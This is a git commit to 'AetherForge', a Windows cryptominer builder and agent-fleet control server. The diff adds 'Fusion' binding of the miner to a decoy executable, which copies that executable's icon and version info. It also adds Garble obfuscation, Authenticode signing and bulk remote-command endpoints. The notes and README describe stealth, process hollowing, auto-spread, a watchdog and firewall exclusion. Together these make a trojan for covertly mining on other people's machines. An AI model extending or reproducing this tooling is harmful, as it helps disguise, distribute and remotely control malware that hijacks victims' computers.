Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -29,7 +29,7 @@ Findings grouped by severity. Updated after bug-sweep pass.
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` | | M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
| M11 | Blueprint delete returns boolean `success` | | M11 | Blueprint delete returns boolean `success` |
| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) | | — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) |
| — | AI shares wired from agent client stats | | — | Fleet filters, bulk commands, per-agent notes/tags (SQLite) |
| — | Ollama prompt: `reinstall_miner` uses `build_id` | | — | Ollama prompt: `reinstall_miner` uses `build_id` |
| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) | | — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) |
@@ -56,11 +56,10 @@ Findings grouped by severity. Updated after bug-sweep pass.
| ID | Issue | | ID | Issue |
|----|-------| |----|-------|
| M1 | Full tactical panel in agent list cards (compact mode exists but list still busy) | | M1 | Compact agent list default — expand on click; full detail panel retained |
| M4 | Forge UI has no toggles for hollowing/mesh/spread (types/defaults only) | | M6 | Remote actions disabled unless `status === online` (list, detail, dashboard) |
| M6 | Remote UI offline guard partial (compact checks `agent.status`) |
| M7 | Row click vs button bubbling (compact uses `stopPropagation`) | | M7 | Row click vs button bubbling (compact uses `stopPropagation`) |
| M9 | Fusion icon needs network for `go-winres` at forge time | | M9 | Fusion uses vendored `go-winres` (module + optional `go install` via run.bat) |
### Low ### Low
@@ -68,7 +67,7 @@ Findings grouped by severity. Updated after bug-sweep pass.
|----|-------| |----|-------|
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` | | L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
| L2 | Duplicate CSS imports on Dashboard/Agents | | L2 | Duplicate CSS imports on Dashboard/Agents |
| L3 | Weak typing on WS payloads (`any`) | | L3 | WS payloads typed in `types/ws.ts` + `api/ws_types.go` (partial — not all message types) |
| L4 | No integration tests for remote actions | | L4 | No integration tests for remote actions |
| L5 | Mesh P2P requires build tag `p2p` for full libp2p | | L5 | Mesh P2P requires build tag `p2p` for full libp2p |

View File

@@ -61,7 +61,7 @@ You configure defaults once in **Calibrate**. You forge once per machine in **Fo
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines - Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL - Build manager — download, paths, LAN QR for worker URL
- **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon when icon extraction succeeds - **Fusion mode** — upload prep, pick run order (`parallel` / `prep_first` / `worker_first`), output lands in **project root** with prep's icon and version info; optional Garble obfuscation and Authenticode signing
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
### Calibrate (Settings) ### Calibrate (Settings)

20
run.bat
View File

@@ -4,6 +4,11 @@ title AetherForge Control Server
cd /d "%~dp0" cd /d "%~dp0"
set "ROOT=%CD%" set "ROOT=%CD%"
if /i "%~1"=="release" (
set "AETHERFORGE_RELEASE=1"
echo Release mode: Garble obfuscation default ON for new forges.
)
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder). :: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
if exist "server\internal\ollama\main.go" ( if exist "server\internal\ollama\main.go" (
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go" for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
@@ -67,14 +72,20 @@ echo Go installed.
:go_ready :go_ready
:: Garble (optional, for Forge obfuscation — failure is non-fatal) :: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
echo [1.5/5] Checking Garble (optional)... echo [1.5/5] Checking Forge tools (Garble, go-winres)...
where garble >nul 2>nul where garble >nul 2>nul
if errorlevel 1 ( if errorlevel 1 (
echo Installing garble via go install... echo Installing garble via go install...
go install mvdan.cc/garble@latest go install mvdan.cc/garble@latest
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable. if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
) )
where go-winres >nul 2>nul
if errorlevel 1 (
echo Installing go-winres via go install...
go install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
)
:: ============================================================ :: ============================================================
:: STEP 2: Node.js :: STEP 2: Node.js
@@ -185,6 +196,10 @@ if errorlevel 1 (
) )
cd /d "%ROOT%" cd /d "%ROOT%"
if defined AETHERFORGE_RELEASE (
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
)
if not exist "bin\miner-server.exe" ( if not exist "bin\miner-server.exe" (
echo ERROR: bin\miner-server.exe was not created. echo ERROR: bin\miner-server.exe was not created.
goto fatal_exit goto fatal_exit
@@ -219,6 +234,7 @@ echo.
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/" start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data" echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
echo. echo.
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data" .\bin\miner-server.exe -port 8989 -data "%ROOT%\data"

View File

@@ -38,6 +38,11 @@ type ServerSettings struct {
StrictWalletValidation bool `json:"strict_wallet_validation"` StrictWalletValidation bool `json:"strict_wallet_validation"`
DashboardSubtitle string `json:"dashboard_subtitle"` DashboardSubtitle string `json:"dashboard_subtitle"`
OpenFirewallOnStart bool `json:"open_firewall_on_start"` OpenFirewallOnStart bool `json:"open_firewall_on_start"`
ObfuscateDefault bool `json:"obfuscate_default"`
SignEnabled bool `json:"sign_enabled"`
SignCertThumbprint string `json:"sign_cert_thumbprint"`
SignToolPath string `json:"sign_tool_path"`
SignTimestampURL string `json:"sign_timestamp_url"`
} }
type PoolConfig struct { type PoolConfig struct {
@@ -159,6 +164,9 @@ func DefaultConfig() *Config {
StrictWalletValidation: false, StrictWalletValidation: false,
DashboardSubtitle: "security is just an emotion", DashboardSubtitle: "security is just an emotion",
OpenFirewallOnStart: true, OpenFirewallOnStart: true,
ObfuscateDefault: false,
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
}, },
} }
} }
@@ -338,6 +346,17 @@ func mergeConfig(dst, src *Config) {
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
} }
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
dst.Server.SignEnabled = src.Server.SignEnabled
if src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
} }
func (c *Config) Save() error { func (c *Config) Save() error {

View File

@@ -11,11 +11,18 @@ require (
) )
require ( require (
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect github.com/dustin/go-humanize v1.0.1 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/tc-hib/go-winres v0.3.1 // indirect
github.com/tc-hib/winres v0.1.6 // indirect
github.com/urfave/cli/v2 v2.3.0 // indirect
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
golang.org/x/net v0.17.0 // indirect golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.18.0 // indirect golang.org/x/sys v0.18.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect

View File

@@ -1,3 +1,7 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s= github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
@@ -18,10 +22,25 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE=
github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k=
github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
@@ -29,8 +48,11 @@ golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk= modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ= modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA= modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=

View File

@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}) })
} }
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
}
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentMetaRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(id); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
agent, _ := f.db.GetAgent(id)
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
}
type bulkCommandRequest struct {
AgentIDs []string `json:"agent_ids"`
Action string `json:"action"`
Command string `json:"command,omitempty"`
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req bulkCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent_ids is required",
})
return
}
args := map[string]interface{}{}
if req.Command != "" {
args["command"] = req.Command
}
sent := 0
failed := 0
for _, id := range req.AgentIDs {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {
sent++
}
}
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR). // EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
func EstimateXMRPerDay(hashrate float64) map[string]interface{} { func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
const networkHashrate = 3_000_000_000.0 const networkHashrate = 3_000_000_000.0

View File

@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if fleetHandler != nil { if fleetHandler != nil {
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
} }
// Fleet ops // Fleet ops
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder // Builder
r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Blueprints (config presets) // Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints", blueprintHandler.ServeHTTP)

View File

@@ -0,0 +1,39 @@
package api
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
type WSDashboardInit struct {
Agents []interface{} `json:"agents"`
}
type WSAgentOffline struct {
AgentID string `json:"agent_id"`
}
type WSStatsUpdate struct {
AgentID string `json:"agent_id"`
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
UptimeSeconds int `json:"uptime_seconds,omitempty"`
SharesSubmitted int `json:"shares_submitted,omitempty"`
SharesAccepted int `json:"shares_accepted,omitempty"`
}
type WSCommandResult struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message,omitempty"`
}
type WSAgentLog struct {
AgentID string `json:"agent_id"`
Content string `json:"content"`
}
type WSServerLog struct {
Line string `json:"line"`
}

View File

@@ -0,0 +1,62 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
)
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string
if req.ProcessHollowing {
tags = append(tags, "hollow")
}
if req.MeshP2P {
tags = append(tags, "p2p")
}
return tags
}
func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
if req.Obfuscate {
return true
}
return h.policy.DefaultObfuscate
}
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
env := append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
}
return out, nil
}

View File

@@ -0,0 +1,129 @@
package builder
import (
"fmt"
"path/filepath"
"strings"
)
const (
defaultWorkerBytes int64 = 12 * 1024 * 1024
defaultFusionStubBytes int64 = 2_500_000
resourcePatchOverhead int64 = 150_000
)
type FusionEstimateResponse struct {
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
}
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
outputName := req.FusionOutputName
if outputName == "" {
outputName = prepName
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
projectOut := filepath.Join(root, outputName)
resp := FusionEstimateResponse{
PrepBytes: prepSize,
PrepName: prepName,
EstimatedWorkerBytes: workerBytes,
EstimatedFusionStubBytes: stubBytes,
EstimatedResourcePatchBytes: resourcePatchOverhead,
EstimatedTotalBytes: total,
OutputFileName: outputName,
ProjectRootPath: projectOut,
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
"Final size may differ slightly after icon + version info patch.",
},
}
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
resp.ExportPath = filepath.Join(root, clean, outputName)
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
}
}
if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
}
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
}
_ = prepPath
return resp
}
func (h *Handler) estimateWorkerBytes() int64 {
if h.db == nil {
return defaultWorkerBytes
}
builds, err := h.db.ListBuilds(40)
if err != nil || len(builds) == 0 {
return defaultWorkerBytes
}
var sum int64
var count int64
for _, b := range builds {
base := strings.ToLower(filepath.Base(b.FilePath))
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
if b.FileSize > 0 {
sum += b.FileSize
count++
}
}
}
if count == 0 {
return defaultWorkerBytes
}
return sum / count
}
func formatBytes(n int64) string {
const unit = 1024
if n < unit {
return fmt.Sprintf("%d B", n)
}
div, exp := int64(unit), 0
for v := n / unit; v >= unit; v /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
}

View File

@@ -0,0 +1,29 @@
package builder
import "testing"
func TestEstimateFusionBuildTotals(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
}
req := &BuildRequest{
FusionEnabled: true,
FusionOutputName: "MyApp.exe",
OutputDir: "exports",
Obfuscate: true,
}
got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
if got.PrepBytes != 5*1024*1024 {
t.Fatalf("prep bytes: got %d", got.PrepBytes)
}
if got.EstimatedTotalBytes <= got.PrepBytes {
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
}
if got.OutputFileName != "MyApp.exe" {
t.Fatalf("output name: %s", got.OutputFileName)
}
if got.ExportPath == "" {
t.Fatal("expected export path")
}
}

View File

@@ -2,9 +2,7 @@ package builder
import ( import (
"fmt" "fmt"
"log"
"os" "os"
"os/exec"
"path/filepath" "path/filepath"
"strings" "strings"
) )
@@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
} }
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
}
ldflags := fusionLdflags(prepPath) ldflags := fusionLdflags(prepPath)
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".") if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
cmd.Dir = fusionDir return "", err
cmd.Env = append(os.Environ(), }
"GOOS=windows", if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
"GOARCH=amd64", return "", err
"CGO_ENABLED=0",
)
out, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
} }
